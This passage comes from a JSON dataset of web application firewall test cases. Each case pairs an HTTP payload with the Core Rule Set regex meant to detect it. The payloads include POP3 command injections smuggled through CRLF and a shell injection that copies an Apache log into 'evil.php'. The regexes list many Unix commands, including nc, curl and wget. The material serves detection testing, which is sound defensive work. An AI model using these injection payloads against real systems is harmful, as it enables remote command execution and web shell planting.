[0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 LIST Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=This%20text%20is%20a%20way%20of%20list%203%20things\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 LIST Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aTOP%201%202" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 TOP Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=These%20are%20top%10%20rules\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 TOP Command Injection true negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aAUTH%20corerulest%20dGhpc2lzIWF0ZXN0cGFzc3dvcmQ=" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 AUTH Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hey%2C%20sent%20me%20those%20auth%20codes%20please!\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 AUTH Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aAPOP%20corerulest%207d0a3bd8e5b2abcfb3e256633c23b891" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 APOP Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Look%2C%20apop%20star!\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?is)\\r\\n.*?\\b(?:(?:LIST|TOP [0-9]+)(?: [0-9]+)?|U(?:SER .+?|IDL(?: [0-9]+)?)|PASS .+?|(?:RETR|DELE) [0-9]+?|A(?:POP [0-9A-Z_a-z]+ [0-9a-f]{32}|UTH [\\-0-9_a-z]{1,20} (?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=))", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932320", "test_description": "POP3 APOP Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ";cp /var/log/apache2/error.log evil.php" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[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:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False negative report - POST arguments" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "text=Schauen%20Sie%20sich%20diese%20Zahl%20an%3A%201%27000%27000\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-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]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|e